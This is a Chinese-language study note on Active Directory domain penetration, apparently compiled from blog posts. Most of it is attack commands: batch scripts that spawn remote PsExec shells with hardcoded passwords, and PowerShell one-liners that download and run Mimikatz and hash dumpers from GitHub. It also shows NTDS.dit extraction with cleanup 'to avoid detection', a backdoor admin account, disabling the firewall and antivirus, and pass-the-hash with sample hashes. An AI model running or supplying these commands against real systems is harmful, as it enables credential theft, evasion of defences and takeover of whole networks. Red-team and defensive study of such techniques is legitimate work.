域渗透

域渗透学习笔记

名词/缩写

活动目录(Active Directory),AD:活动目录是WindowsServer在网络环境中提供的“资源目录”。活动目录是储存着域中相关资源信息的目录,例如计算机,用户组,数据库,服务器,打印机,用户属性(权限等),就像一个数据库。
域控(Domain Controller),DC:安装了AD的服务器就是域控制器,即有AD的计算机就是DC。

什么是域

将网络中多台计算机逻辑上组织到一起,进行集中管理,这种区别于工作组的逻辑环境叫做域,域是组织与存储资源的核心管理单元,在域中,至少有一台域控制器,域控制器中保存着整个域的用户帐号和安全数据库。

域的特点

域成员计算机在登录的时候可以选择登录到域中或此计算机,登陆到域中的时候,身份验证是采用Kerberos协议在域控制器上进行的,登陆到此计算机则是通过SAM来进行NTLM验证的

默认情况下,域用户可以登录到域中所有的工作站,不包括域控制器,管理员也可以指定具体的计算机,域用户信息保存在活动目录中

一些其他关于域的知识

DNS定位域控制器

DNS负责将域名解析成IP地址

内网的DNS则可以定位DC,域会有名称,比如domaintest。域会向DNS注册这个名称,即SRV记录。域中的计算机访问SRV来进而访问DC。

通常DNS和DC会安装在同一计算机上,因而此计算的本地连接DNS要指向自身。

域渗透思路

通过域成员主机,定位出域控制器IP及域管理员账号,利用域成员主机作为跳板,扩大渗透范围,利用域管理员可以登陆域中任何成员主机的特性,定位出域管理员登陆过的主机IP,设法从域成员主机内存中dump出域管理员密码,进而拿下域控制器、渗透整个内网。

域渗透常用命令

信息收集

1
dsquery server #得到域控制器的IP

image886

net group "domain controllers" /domain: 得到域控制器主机名

注意通过该指令得到的机器名后面会多一个$符号

net group "domain admins" /domain : 查询域管理用户

net user /domain查看所有域用户

net config workstation : 查询当前登陆域

net accounts /domain: 查询域密码策略

wmic qfe : 查看补丁信息

wmic os: 查看操作系统类型

ipconfig /all 查询本机IP段,所在域等

tasklist /S ip /U domain\username /P /V 查看远程计算机进程列表

有一个特殊用户叫做krbtgt,该用户是用于Kerberos身份验证的帐户,获得了该用户的hash,就可以伪造票据进行票据传递攻击了

批量查找 域管理员登陆过目标计算机

1
2
3
4
5
6
7
@echo off
echo check ip addr config file...
if not exist ip.txt echo ip addr config file ip.txt does not exist! & goto end
echo read and analysis file...
for /F "eol=#" %%i in (ip.txt) do echo %%i &(echo %%i &tasklist /s %%i /u administrator /p mytest2010 /v) >>d:\result.txt
:end
exit

批量反弹cmdshell

1
2
3
4
5
6
7
@echo off
echo check ip addr config file...
if not exist ip.txt echo ip addr config file ip.txt does not exist! & goto end
echo read and analysis file...
for /F "eol=#" %%i in (ip.txt) do start PsExec.exe \\%%i -accepteula -u administrator -p "123456" cmd & start cmd /c PsExec.exe \\%%i -u administrator -p "123456" cmd
:end
exit

访问内网其他主机

net use建立Ipc$连接、wmic指令连接、采用rdp方式连接 , psexec进行远程连接

image2183

net use \\ip\ipc$ pawword /user:username 建立IPC会话

抓取内存中的hash/密码

抓明文

1
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCerts

普通hash

抓hash

1
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes

抓取明文:mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit

抓取hash:mimikatz log "privilege::debug" "lsadump::lsa /patch" exit

mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:god.org /all /csv" exit

域hash

NTDS.dit获取域控hash

这个思路在域渗透中尤为重要,因为这里面包含着所有域用户的hash,当然该思路只对DC生效。

手动导出NTDS.dit和System-hive,本地或目标机导hash,因为,如果域足够大,该文件也会特别大。

ntdsutil "ac i ntds" ifm "create full c:\users\tmp" q q

NTDSDumpEx -d ntds.dit -s system -o domain.txt:注意-d 为ntds.dit路径,-s为system(导出的)路径

image3247

1
2
3
python secretsdump.py -system SYSTEM -ntds ntds.dit local
python secretsdump.py rabbitmask:[email protected]

image3460

image3545

添加用户

1
2
3
4
net user ccreater Abc1234 /add
net localgroup administrators ccreater /add
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f

域控提取域用户hash

Ntdsutil

ntdsutil.exe是域控制器自带的域数据库管理工具,从windows 2008就默认自带了

1
2
3
4
5
Ntdsutil 
snapshot—activate instance ntds
create
mount {guid}
copy 装载点\windows\NTDS\ntds.dit d:\ntds_save.dit

image4044

image4122

最后执行

1
2
3
unmount {guid}
delete {guid}
quit

删除装载点即可,避免被发现

接着上传工具QuarksPwDump到域控制器上,然后执行如下命令,成功提取用户hash

QuarksPwDump --dump-hash-domain --ntds-file d:\ntds_save.dit

mimikatz

mimikatz log "privilege::debug" "lsadump::lsa /patch"

关闭防火墙

1
2
3
4
5
netsh advfirewall set allprofiles state off#关闭防火墙
net stop windefend
netsh firewall set opmode mode=disable
bcdedit.exe /set{current} nx AlwaysOff#关闭DEP
meterpreter > run killav 关闭杀毒软件

票据传递攻击

域中每个用户的Ticket都是由krbtgt的密码Hash来计算生成的,因此只要我们拿到了krbtgt的密码Hash,就可以随意伪造Ticket,进而使用Ticket登陆域控制器,使用krbtgt用户hash生成的票据被称为Golden Ticket,此类攻击方法被称为票据传递攻击。

MS14-068/pth

微软给出的补丁是kb3011780,在server 2000以上的域控中,如果没有打这个补丁,那么情况将比较糟糕,利用该漏洞可以将任何一个域用户提权至域管理员权限,危害极大。

msf-psexec

目标:192.168.52.138

1
Administrator:500:aad3b435b51404eeaad3b435b51404ee:a45a7246dd74b64a67f22fd7020f1bd8:::
1
2
3
4
5
6
use exploit/windows/smb/psexec
set lhost xxx
set lport xxx
set rhosts 192.168.52.138
set smbuser Administrator
set smbpass aad3b435b51404eeaad3b435b51404ee:a45a7246dd74b64a67f22fd7020f1bd8

impacket_smbexec

1
2
3
4
5
6
python smbexec.py -hash aad3b435b51404eeaad3b435b51404ee:[email protected]

or

python smbexec.py -hashes :a45a7246dd74b64a67f22fd7020f1bd8 [email protected]

显然,其实它只需要NThash部分就好啦。

copy 于

http://www.xmrseo.com/?post=87

https://zhengbao.wang/%E5%9F%9F%E6%B8%97%E9%80%8F%E5%9F%BA%E7%A1%80/

https://www.freebuf.com/articles/system/217681.html